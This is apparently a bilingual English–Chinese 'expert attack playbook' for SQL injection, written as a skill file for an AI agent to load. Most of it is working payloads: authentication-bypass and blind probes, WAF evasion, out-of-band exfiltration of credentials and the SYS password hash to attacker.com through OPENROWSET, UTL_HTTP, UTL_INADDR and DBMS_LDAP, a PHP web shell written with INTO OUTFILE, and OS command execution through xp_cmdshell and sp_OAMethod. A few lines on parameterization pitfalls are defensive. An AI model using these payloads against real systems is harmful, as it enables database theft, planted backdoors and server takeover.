sqli-sql-injection

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

SKILL: SQL Injection — Expert Attack Playbook

SKILL: SQL Injection — 专家攻击手册

AI LOAD INSTRUCTION: Advanced SQLi techniques. Assumes basic UNION/error/boolean-blind fundamentals known. Focuses on: per-database exploitation, out-of-band exfiltration, second-order injection, parameterized query bypass scenarios, filter evasion, and escalation to OS. For real-world CVE cases, SMB/DNS OOB exfiltration, INSERT/UPDATE injection patterns, and framework-specific exploitation (ThinkPHP, Django GIS), load the companion SCENARIOS.md.
AI加载说明:高级SQLi技术,假设使用者已掌握基础的UNION/报错/布尔盲注基础知识,核心内容覆盖:分数据库利用、带外数据窃取、二阶注入、参数化查询绕过场景、过滤绕过、操作系统提权。如需查看真实CVE案例、SMB/DNS带外窃取、INSERT/UPDATE注入模式、框架特定利用(ThinkPHP、Django GIS),请加载配套的SCENARIOS.md

0. QUICK START

0. 快速开始

Extended Scenarios

扩展场景

Also load SCENARIOS.md when you need:
  • SMB out-of-band exfiltration via
    LOAD_FILE
    + UNC paths (Windows MySQL)
  • KEY injection / URI injection / non-parameter injection points
  • INSERT/DELETE/UPDATE statement injection differences
  • ThinkPHP5 array key injection (
    updatexml
    error-based)
  • Django GIS Oracle
    utl_inaddr.get_host_name
    CVE
  • ORDER BY / LIMIT injection techniques
如果只是刚确认可疑 SQL sink,不要先加载额外的 payload skill,直接在这里完成第一轮验证。
当你需要以下场景的方案时,也请加载SCENARIOS.md
  • 基于
    LOAD_FILE
    + UNC路径的SMB带外窃取(Windows MySQL环境)
  • KEY注入/URI注入/非参数注入点
  • INSERT/DELETE/UPDATE语句注入的差异点
  • ThinkPHP5数组键注入(基于
    updatexml
    报错)
  • Django GIS Oracle
    utl_inaddr.get_host_name
    相关CVE
  • ORDER BY / LIMIT注入技巧
如果只是刚确认可疑 SQL sink,不要先加载额外的 payload skill,直接在这里完成第一轮验证。

First-pass payload families

首轮Payload分类

SituationStart WithWhy
Login or boolean branch
' or 1=1--
Fast signal on auth or conditional checks
Numeric parameter
1 or 1=1
Avoid quote dependency
ORDER BY / sorting
1,2,3
then
1 desc--
Good for structural probing
Visible SQL errors
'
then DBMS-specific error probes
Error text gives DBMS clues
No visible outputtime-based payloadsStable fallback for blind targets
Heavy filtering / WAFpolyglot or whitespace-free variantsExpands parser confusion surface
场景首选Payload原因
登录或布尔分支场景
' or 1=1--
快速验证认证或条件判断逻辑是否存在注入
数值型参数
1 or 1=1
不依赖引号闭合
ORDER BY / 排序场景先试
1,2,3
再试
1 desc--
适合探测数据库表结构
有可见SQL报错先试
'
再试对应DBMS的报错探测Payload
报错信息会给出DBMS类型线索
无可见输出时间型Payload盲注场景的稳定 fallback
严格过滤/WAF防护多语法兼容Payload或无空格变体扩大解析器混淆的攻击面

Small, stable first-pass set

精简稳定首轮Payload集

text
'
' or 1=1--
' or '1'='1'--
1 or 1=1
') or ('1'='1
'; WAITFOR DELAY '0:0:5'--
' AND SLEEP(5)--
'||(SELECT pg_sleep(5))--
1 AND DBMS_PIPE.RECEIVE_MESSAGE('a',5)
' order by 1--
' union select null--
text
'
' or 1=1--
' or '1'='1'--
1 or 1=1
') or ('1'='1
'; WAITFOR DELAY '0:0:5'--
' AND SLEEP(5)--
'||(SELECT pg_sleep(5))--
1 AND DBMS_PIPE.RECEIVE_MESSAGE('a',5)
' order by 1--
' union select null--

DBMS routing hints

DBMS类型判断线索

ClueLikely DBMSGood Next Move
You have an error in your SQL syntax
MySQLtry
SLEEP()
and
@@version
Microsoft OLE DB Provider
MSSQLtry
WAITFOR DELAY
PG::
/
PostgreSQL
PostgreSQLtry
pg_sleep()
ORA-
prefix
Oraclepivot to out-of-band or XML features
SQLite errors, local appsSQLitefocus on boolean/UNION and file-backed behavior

线索可能的DBMS后续推荐操作
出现
You have an error in your SQL syntax
MySQL尝试
SLEEP()
@@version
Payload
出现
Microsoft OLE DB Provider
MSSQL尝试
WAITFOR DELAY
Payload
出现
PG::
/
PostgreSQL
PostgreSQL尝试
pg_sleep()
Payload
报错前缀为
ORA-
Oracle转向带外或XML相关功能利用
出现SQLite报错、本地应用场景SQLite重点测试布尔/UNION注入和文件相关行为

1. DETECTION — SUBTLE INDICATORS

1. 检测——隐蔽指标

Most SQLi is found by behavioral differences, not errors:
SignalMeaning
Page loads differently with
'
vs
''
String context injection point
Numeric:
1
vs
1-1
vs
2-1
returns same
Arithmetic evaluated
1=1
vs
1=2
in condition changes result
Boolean-based injection
SELECT with ORDER BY N: column count enumerationUNION prep
Time delay:
'; WAITFOR DELAY '0:0:5'--
Blind/time-based
500 error on
'
, 200 on
''
Unhandled exception = SQLi
Different HTTP response sizeBoolean blind indicator
Critical: test in ALL parameter types — URL query, POST body, JSON fields, XML values, HTTP headers (X-Forwarded-For, User-Agent, Referer, Cookie values).

大多数SQLi是通过行为差异发现的,而非明显报错:
信号含义
传入
'
''
时页面加载结果不同
存在字符串上下文注入点
数值型参数:传入
1
1-1
2-1
返回结果相同
参数被当作算术表达式执行
条件中传入
1=1
1=2
返回结果有变化
存在布尔型注入
带ORDER BY N的SELECT请求可枚举出列数可准备UNION注入
传入
'; WAITFOR DELAY '0:0:5'--
出现时间延迟
存在时间/盲注
传入
'
返回500错误,传入
''
返回200
未处理的异常=存在SQLi
HTTP响应大小有差异布尔盲注的特征
关键注意点:测试所有类型的参数——URL查询参数、POST请求体、JSON字段、XML值、HTTP请求头(X-Forwarded-For、User-Agent、Referer、Cookie值)。

2. DATABASE FINGERPRINTING

2. 数据库指纹识别

sql
-- MySQL
VERSION()              -- returns version string
@@datadir              -- data directory
@@global.secure_file_priv  -- file read restriction

-- MSSQL
@@VERSION              -- includes "Microsoft SQL Server"
DB_NAME()              -- current database
USER_NAME()            -- current user

-- Oracle
v$version              -- SELECT banner FROM v$version WHERE ROWNUM=1
sys.database_name      -- current db (alternative)
user                   -- current Oracle user

-- PostgreSQL
version()              -- returns version
current_database()     -- current db
current_user           -- current user
Error-based fingerprint: inject
'
and read error message format. MySQL errors differ from Oracle/MSSQL.

sql
-- MySQL
VERSION()              -- 返回版本字符串
@@datadir              -- 数据目录
@@global.secure_file_priv  -- 文件读取限制配置

-- MSSQL
@@VERSION              -- 包含"Microsoft SQL Server"标识
DB_NAME()              -- 当前数据库名
USER_NAME()            -- 当前用户名

-- Oracle
v$version              -- SELECT banner FROM v$version WHERE ROWNUM=1
sys.database_name      -- 当前数据库(替代方案)
user                   -- 当前Oracle用户

-- PostgreSQL
version()              -- 返回版本
current_database()     -- 当前数据库名
current_user           -- 当前用户名
基于报错的指纹识别:注入
'
后读取报错信息格式,MySQL、Oracle、MSSQL的报错格式各不相同。

3. UNION-BASED DATA EXTRACTION

3. 基于UNION的数据提取

Column count determination:
sql
ORDER BY 1--
ORDER BY 2--
ORDER BY N--   ← until error = N-1 columns
Column type detection (NULL is safest):
sql
UNION SELECT NULL,NULL,NULL--
UNION SELECT 'a',NULL,NULL--  ← find string column
Database-specific string concat (required when column accepts only int):
sql
-- MySQL
CONCAT(username,0x3a,password)

-- MSSQL
username+'|'+password

-- Oracle
username||'|'||password

-- PostgreSQL
username||':'||password

列数确认:
sql
ORDER BY 1--
ORDER BY 2--
ORDER BY N--   ← 直到报错,说明列数为N-1
列类型探测(NULL是最安全的占位符):
sql
UNION SELECT NULL,NULL,NULL--
UNION SELECT 'a',NULL,NULL--  ← 找出字符串类型的列
数据库专属字符串拼接(当列仅接受整数时需要使用):
sql
-- MySQL
CONCAT(username,0x3a,password)

-- MSSQL
username+'|'+password

-- Oracle
username||'|'||password

-- PostgreSQL
username||':'||password

4. BLIND INJECTION — INFERENCE TECHNIQUES

4. 盲注——推断技术

Boolean Blind (conditional response difference)

布尔盲注(基于响应差异判断)

sql
-- Does first char of username = 'a'?
' AND SUBSTRING(username,1,1)='a'--
' AND ASCII(SUBSTRING(username,1,1))>96--

-- Oracle
' AND SUBSTR((SELECT username FROM users WHERE rownum=1),1,1)='a'--

-- MSSQL
' AND SUBSTRING((SELECT TOP 1 username FROM users),1,1)='a'--
sql
-- 用户名首字符是否为'a'?
' AND SUBSTRING(username,1,1)='a'--
' AND ASCII(SUBSTRING(username,1,1))>96--

-- Oracle
' AND SUBSTR((SELECT username FROM users WHERE rownum=1),1,1)='a'--

-- MSSQL
' AND SUBSTRING((SELECT TOP 1 username FROM users),1,1)='a'--

Time-Based Blind (no response difference)

时间型盲注(无响应差异时使用)

sql
-- MSSQL (most reliable)
'; IF (SUBSTRING(username,1,1)='a') WAITFOR DELAY '0:0:5'--

-- MySQL
' AND IF(SUBSTRING(username,1,1)='a',SLEEP(5),0)--

-- Oracle
' AND 1=(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '1' END FROM dual)--
-- Oracle sleep alternative (no SLEEP):
' AND 1=UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual))--

-- PostgreSQL
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--

sql
-- MSSQL(最可靠)
'; IF (SUBSTRING(username,1,1)='a') WAITFOR DELAY '0:0:5'--

-- MySQL
' AND IF(SUBSTRING(username,1,1)='a',SLEEP(5),0)--

-- Oracle
' AND 1=(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '1' END FROM dual)--
-- Oracle无原生SLEEP函数的替代方案:
' AND 1=UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual))--

-- PostgreSQL
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--

5. OUT-OF-BAND (OOB) EXFILTRATION — CRITICAL

5. 带外(OOB)数据窃取——核心技巧

Use when blind injection has no time/boolean indicator, or when batch queries can't return data inline.
当盲注无时间/布尔特征,或者批量查询无法直接返回数据时使用。

MSSQL — OpenRowSet (requires SQLOLEDB, outbound TCP)

MSSQL — OpenRowSet(需要SQLOLEDB支持、出站TCP权限)

sql
'; INSERT INTO OPENROWSET(
  'SQLOLEDB',
  'DRIVER={SQL Server};SERVER=attacker.com,80;UID=sa;PWD=pass',
  'SELECT * FROM foo'
) VALUES (@@version)--

-- Exfiltrate table data:
'; INSERT INTO OPENROWSET(
  'SQLOLEDB',
  'DRIVER={SQL Server};SERVER=attacker.com,80;UID=sa;PWD=pass',
  'SELECT * FROM foo'
) SELECT TOP 1 username+':'+password FROM users--
Use port 80 or 443 to bypass firewall egress restrictions.
sql
'; INSERT INTO OPENROWSET(
  'SQLOLEDB',
  'DRIVER={SQL Server};SERVER=attacker.com,80;UID=sa;PWD=pass',
  'SELECT * FROM foo'
) VALUES (@@version)--

-- 窃取表数据:
'; INSERT INTO OPENROWSET(
  'SQLOLEDB',
  'DRIVER={SQL Server};SERVER=attacker.com,80;UID=sa;PWD=pass',
  'SELECT * FROM foo'
) SELECT TOP 1 username+':'+password FROM users--
使用80或443端口绕过防火墙出站限制。

Oracle — UTL_HTTP (HTTP GET with data in URL path)

Oracle — UTL_HTTP(HTTP GET将数据放在URL路径中)

sql
'+UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT username FROM all_users WHERE ROWNUM=1))--
Oracle's UTL_HTTP supports proxy — can exfil through corporate proxy!
sql
'+UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT username FROM all_users WHERE ROWNUM=1))--
Oracle的UTL_HTTP支持代理,可通过企业代理窃取数据!

Oracle — UTL_INADDR (DNS exfiltration — often bypasses HTTP restrictions)

Oracle — UTL_INADDR(DNS窃取——通常可绕过HTTP限制)

sql
'+UTL_INADDR.GET_HOST_NAME((SELECT password FROM dba_users WHERE username='SYS')||'.attacker.com')--
Attacker sees:
HASH_VALUE.attacker.com
DNS query → read password hash.
sql
'+UTL_INADDR.GET_HOST_NAME((SELECT password FROM dba_users WHERE username='SYS')||'.attacker.com')--
攻击者会收到
HASH_VALUE.attacker.com
的DNS查询 → 读取密码哈希。

Oracle — UTL_SMTP / UTL_TCP

Oracle — UTL_SMTP / UTL_TCP

sql
-- Email large data dumps:
UTL_SMTP.SENDMAIL(...)  -- send query results via email

-- Raw TCP socket:
UTL_TCP.OPEN_CONNECTION('attacker.com', 80)
sql
-- 邮件发送大量数据转储:
UTL_SMTP.SENDMAIL(...)  -- 通过邮件发送查询结果

-- 原始TCP套接字:
UTL_TCP.OPEN_CONNECTION('attacker.com', 80)

MySQL — DNS via LOAD_FILE (Windows + UNC path)

MySQL — 基于LOAD_FILE的DNS窃取(Windows + UNC路径)

sql
SELECT LOAD_FILE('\\\\attacker.com\\share')
-- Triggers DNS lookup before connection attempt
-- Works on Windows hosts with outbound SMB
sql
SELECT LOAD_FILE('\\\\attacker.com\\share')
-- 在连接尝试前会触发DNS查询
-- 在允许出站SMB的Windows主机上生效

MySQL — INTO OUTFILE (in-band filesystem write)

MySQL — INTO OUTFILE(带外文件系统写入)

sql
SELECT "<?php system($_GET['c']); ?>" INTO OUTFILE '/var/www/html/shell.php'
-- Requirements: FILE privilege, writable web root, secure_file_priv=''

sql
SELECT "<?php system($_GET['c']); ?>" INTO OUTFILE '/var/www/html/shell.php'
-- 要求: FILE权限、可写的Web根目录、secure_file_priv配置为空

6. ESCALATION — OS COMMAND EXECUTION

6. 提权——操作系统命令执行

MSSQL — xp_cmdshell (if enabled, or if sysadmin)

MSSQL — xp_cmdshell(如果已开启,或者拥有sysadmin权限)

sql
'; EXEC xp_cmdshell('whoami')--

-- Enable if disabled (requires sysadmin):
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE--
'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE--
sql
'; EXEC xp_cmdshell('whoami')--

-- 未开启时可尝试启用(需要sysadmin权限):
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE--
'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE--

MySQL — UDF (User Defined Functions)

MySQL — UDF(用户自定义函数)

Write malicious shared library to filesystem, then
CREATE FUNCTION ... SONAME
.
将恶意共享库写入文件系统,然后执行
CREATE FUNCTION ... SONAME

Oracle — Java Stored Procedures

Oracle — Java存储过程

sql
-- Create Java class:
EXEC dbms_java.grant_permission('SCOTT','SYS:java.io.FilePermission','<<ALL FILES>>','execute');
-- Then exec OS commands via Java Runtime

sql
-- 创建Java类:
EXEC dbms_java.grant_permission('SCOTT','SYS:java.io.FilePermission','<<ALL FILES>>','execute');
-- 然后通过Java Runtime执行操作系统命令

7. SECOND-ORDER INJECTION

7. 二阶注入

Concept: User input is stored safely (parameterized), but later retrieved as trusted data and concatenated into a new query without re-sanitization.
Example attack flow:
  1. Register username:
    admin'--
  2. Application safely inserts this into users table
  3. Password change function fetches username from session (trusted!) and builds:
    sql
    UPDATE users SET password='newpass' WHERE username='admin'--'
  4. Comment strips the condition → updates admin's password
Key insight: Any application function that reads stored data and uses it in a new DB query is a second-order candidate. Review: password change, profile update, admin action on user data.

概念:用户输入被安全存储(参数化写入),但后续被当作可信数据取出,未经过重新 sanitization 就拼接进新的查询语句中。
攻击流程示例:
  1. 注册用户名为:
    admin'--
  2. 应用安全地将该用户名写入用户表
  3. 密码修改功能从会话中获取用户名(被当作可信数据!)并构建查询:
    sql
    UPDATE users SET password='newpass' WHERE username='admin'--'
  4. 注释符截断了后续条件 → 修改了管理员的密码
核心要点:任何读取存储数据并将其用于新数据库查询的应用功能都可能存在二阶注入。需要重点排查:密码修改、资料更新、管理员操作用户数据的功能。

8. PARAMETERIZED QUERY BYPASS SCENARIOS

8. 参数化查询绕过场景

Parameterized queries do NOT prevent SQLi when:
  1. Table/column names are user-controlled — params can't parameterize identifiers:
    sql
    -- UNSAFE even with params:
    "SELECT * FROM " + tableName + " WHERE id = ?"
    Mitigation: whitelist-validate table/column names.
  2. Partial parameterization — some fields concatenated, others parameterized:
    sql
    "SELECT * FROM users WHERE type='" + userType + "' AND id=?"
    -- userType not parameterized → injection
  3. IN clause with dynamic count (common mistake in ORMs):
    sql
    SELECT * FROM items WHERE id IN (1, 2, ?)  -- only last is parameterized
  4. Second-order — data retrieved from DB assumed clean, re-used in query without params.

以下场景中参数化查询无法预防SQLi:
  1. 表名/列名由用户控制 — 参数化无法处理标识符:
    sql
    -- 即便使用参数化也不安全:
    "SELECT * FROM " + tableName + " WHERE id = ?"
    修复方案:对表名/列名做白名单校验。
  2. 部分参数化 — 部分字段拼接,其余字段参数化:
    sql
    "SELECT * FROM users WHERE type='" + userType + "' AND id=?"
    -- userType未参数化 → 存在注入
  3. 动态长度的IN子句(ORM中常见错误):
    sql
    SELECT * FROM items WHERE id IN (1, 2, ?)  -- 只有最后一个值是参数化的
  4. 二阶注入 — 从数据库取出的数据被默认是安全的,未参数化就直接用于查询。

9. FILTER EVASION TECHNIQUES

9. 过滤绕过技术

Comment Injection (break keywords)

注释注入(拆分关键词)

sql
SEL/**/ECT
UN/**/ION
1 UN/**/ION ALL SEL/**/ECT NULL--
sql
SEL/**/ECT
UN/**/ION
1 UN/**/ION ALL SEL/**/ECT NULL--

Case Variation

大小写变换

sql
UnIoN SeLeCt
sql
UnIoN SeLeCt

URL Encoding

URL编码

sql
%55NION  -- U
%53ELECT -- S
sql
%55NION  -- U
%53ELECT -- S

Whitespace Alternatives

空格替代

sql
SELECT/**/username/**/FROM/**/users
SELECT%09username%09FROM%09users  -- tab
SELECT%0ausername%0aFROM%0ausers  -- newline
sql
SELECT/**/username/**/FROM/**/users
SELECT%09username%09FROM%09users  -- 制表符
SELECT%0ausername%0aFROM%0ausers  -- 换行符

String Construction (bypass literal-string detection)

字符串构造(绕过字符串字面量检测)

sql
-- MySQL concatenation without quotes:
CHAR(117,115,101,114,110,97,109,101)  -- 'username'

-- Oracle:
CHR(117)||CHR(115)||CHR(101)||CHR(114)

-- MSSQL:
CHAR(117)+CHAR(115)+CHAR(101)+CHAR(114)

sql
-- MySQL无引号拼接:
CHAR(117,115,101,114,110,97,109,101)  -- 'username'

-- Oracle:
CHR(117)||CHR(115)||CHR(101)||CHR(114)

-- MSSQL:
CHAR(117)+CHAR(115)+CHAR(101)+CHAR(114)

10. DATABASE METADATA EXTRACTION

10. 数据库元数据提取

MySQL

MySQL

sql
SELECT schema_name FROM information_schema.schemata
SELECT table_name FROM information_schema.tables WHERE table_schema=database()
SELECT column_name FROM information_schema.columns WHERE table_name='users'
sql
SELECT schema_name FROM information_schema.schemata
SELECT table_name FROM information_schema.tables WHERE table_schema=database()
SELECT column_name FROM information_schema.columns WHERE table_name='users'

MSSQL

MSSQL

sql
SELECT name FROM master..sysdatabases
SELECT name FROM sysobjects WHERE xtype='U'  -- user tables
SELECT name FROM syscolumns WHERE id=OBJECT_ID('users')
sql
SELECT name FROM master..sysdatabases
SELECT name FROM sysobjects WHERE xtype='U'  -- 用户表
SELECT name FROM syscolumns WHERE id=OBJECT_ID('users')

Oracle

Oracle

sql
SELECT owner,table_name FROM all_tables
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'
SELECT username,password FROM dba_users  -- requires DBA
sql
SELECT owner,table_name FROM all_tables
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'
SELECT username,password FROM dba_users  -- 需要DBA权限

PostgreSQL

PostgreSQL

sql
SELECT datname FROM pg_database
SELECT tablename FROM pg_tables WHERE schemaname='public'
SELECT column_name FROM information_schema.columns WHERE table_name='users'

sql
SELECT datname FROM pg_database
SELECT tablename FROM pg_tables WHERE schemaname='public'
SELECT column_name FROM information_schema.columns WHERE table_name='users'

11. STORED PROCEDURE ABUSE

11. 存储过程滥用

MSSQL — sp_OAMethod (COM automation)

MSSQL — sp_OAMethod(COM自动化)

sql
DECLARE @o INT
EXEC sp_OACreate 'wscript.shell', @o OUT
EXEC sp_OAMethod @o, 'run', NULL, 'cmd.exe /c whoami > C:\out.txt'
sql
DECLARE @o INT
EXEC sp_OACreate 'wscript.shell', @o OUT
EXEC sp_OAMethod @o, 'run', NULL, 'cmd.exe /c whoami > C:\out.txt'

Oracle — DBMS_LDAP (outbound LDAP = DNS exfil)

Oracle — DBMS_LDAP(出站LDAP = DNS窃取)

sql
SELECT DBMS_LDAP.INIT((SELECT password FROM dba_users WHERE username='SYS')||'.attacker.com',389) FROM dual

sql
SELECT DBMS_LDAP.INIT((SELECT password FROM dba_users WHERE username='SYS')||'.attacker.com',389) FROM dual

12. QUICK REFERENCE — INJECTION TEST STRINGS

12. 快速参考——注入测试字符串

'                          -- break string context
''                         -- escaped quote (test handling)
' OR 1=1--                 -- auth bypass attempt  
' OR 'a'='a               -- alternate auth bypass
'; SELECT 1--             -- statement termination
' UNION SELECT NULL--     -- UNION test
' AND 1=1--               -- boolean true
' AND 1=2--               -- boolean false (different response → injectable)
1; WAITFOR DELAY '0:0:3'-- -- MSSQL time delay
1 AND SLEEP(3)--          -- MySQL time delay
1 AND 1=dbms_pipe.receive_message(('a'),3)-- -- Oracle time delay

'                          -- 打破字符串上下文
''                         -- 转义引号(测试处理逻辑)
' OR 1=1--                 -- 认证绕过尝试  
' OR 'a'='a               -- 替代认证绕过方案
'; SELECT 1--             -- 语句终止测试
' UNION SELECT NULL--     -- UNION测试
' AND 1=1--               -- 布尔真值
' AND 1=2--               -- 布尔假值(响应不同→存在注入)
1; WAITFOR DELAY '0:0:3'-- -- MSSQL时间延迟测试
1 AND SLEEP(3)--          -- MySQL时间延迟测试
1 AND 1=dbms_pipe.receive_message(('a'),3)-- -- Oracle时间延迟测试

13. WAF BYPASS MATRIX

13. WAF绕过矩阵

TechniqueBlockedBypass
Space filtered
SELECT * FROM
SELECT/**/*//**/FROM
,
SELECT%0a*%0aFROM
Comma filtered
UNION SELECT 1,2,3
UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c
Quote filtered
'admin'
0x61646D696E
(hex),
CHAR(97,100,109,105,110)
OR/AND filtered
OR 1=1
<code>||1=1</code>,
&&1=1
,
DIV 0
= filtered
id=1
id LIKE 1
,
id REGEXP '^1$'
,
id IN (1)
,
id BETWEEN 1 AND 1
SELECT filteredUse
handler
(MySQL),
PREPARE
+hex, or stacked queries
information_schema filtered
mysql.innodb_table_stats
,
sys.schema_table_statistics
Additional WAF bypass patterns:
  • Polyglot:
    SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/
  • Routed injection:
    1' UNION SELECT 0x(inner_payload_hex)-- -
    where inner payload is another full query hex-encoded
  • Second Order: inject into storage, trigger when data is used in another query later
  • PDO emulated prepare: when
    PDO::ATTR_EMULATE_PREPARES=true
    , stacked queries work even with parameterized-looking code

技术被拦截场景绕过方案
空格被过滤
SELECT * FROM
SELECT/**/*//**/FROM
,
SELECT%0a*%0aFROM
逗号被过滤
UNION SELECT 1,2,3
UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c
引号被过滤
'admin'
0x61646D696E
(十六进制),
CHAR(97,100,109,105,110)
OR/AND被过滤
OR 1=1
<code>||1=1</code>,
&&1=1
,
DIV 0
=被过滤
id=1
id LIKE 1
,
id REGEXP '^1$'
,
id IN (1)
,
id BETWEEN 1 AND 1
SELECT被过滤使用
handler
(MySQL),
PREPARE
+十六进制, 或者堆叠查询
information_schema被过滤
mysql.innodb_table_stats
,
sys.schema_table_statistics
其他WAF绕过模式:
  • 多语法兼容Payload:
    SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/
  • 路由注入:
    1' UNION SELECT 0x(inner_payload_hex)-- -
    内部Payload是十六进制编码的完整查询
  • 二阶注入: 注入内容存入存储系统,后续数据被用于其他查询时触发
  • PDO模拟预处理: 当
    PDO::ATTR_EMULATE_PREPARES=true
    时,即便看起来是参数化的代码也可以执行堆叠查询

14. WAF BYPASS MATRIX

14. WAF绕过矩阵

No-Space Bypass

无空格绕过

sql
SELECT/**/username/**/FROM/**/users
SELECT(username)FROM(users)
sql
SELECT/**/username/**/FROM/**/users
SELECT(username)FROM(users)

No-Comma Bypass

无逗号绕过

sql
-- UNION with JOIN instead of comma:
UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c
-- SUBSTRING alternative: SUBSTRING('abc' FROM 1 FOR 1)
-- LIMIT alternative: LIMIT 1 OFFSET 0
sql
-- 使用JOIN代替逗号实现UNION:
UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c
-- SUBSTRING替代方案: SUBSTRING('abc' FROM 1 FOR 1)
-- LIMIT替代方案: LIMIT 1 OFFSET 0

Polyglot Injection

多语法兼容注入

sql
SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/
sql
SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/

Routed Injection

路由注入

sql
-- First query returns string used as input to second query:
' UNION SELECT CONCAT(0x222c,(SELECT password FROM users LIMIT 1))--
-- The returned value becomes part of another SQL context
sql
-- 第一个查询返回的字符串会作为第二个查询的输入:
' UNION SELECT CONCAT(0x222c,(SELECT password FROM users LIMIT 1))--
-- 返回值会成为另一个SQL上下文的一部分

Second-Order Injection

二阶注入

-- Step 1: Register username: admin'--
-- Step 2: Trigger password change (uses stored username in SQL)
-- UPDATE users SET password='new' WHERE username='admin'--'
-- 步骤1: 注册用户名为: admin'--
-- 步骤2: 触发密码修改功能(会使用存储的用户名构建SQL)
-- UPDATE users SET password='new' WHERE username='admin'--'

PDO / Prepared Statement Edge Cases

PDO / 预处理语句边缘场景

php
// Unsafe even with PDO when query structure is dynamic:
$pdo->query("SELECT * FROM " . $_GET['table']);
// Or when using emulated prepares with multi-query:
$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, true);
php
// 当查询结构是动态的时候,即便用PDO也不安全:
$pdo->query("SELECT * FROM " . $_GET['table']);
// 或者使用模拟预处理且支持多查询时:
$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, true);

Entry Point Detection (Unicode tricks)

注入点检测(Unicode技巧)

U+02BA ʺ (modifier letter double prime) → "
U+02B9 ʹ (modifier letter prime) → '
%%2727 → %27 → '
U+02BA ʺ (修饰符双撇号) → "
U+02B9 ʹ (修饰符单撇号) → '
%%2727 → %27 → '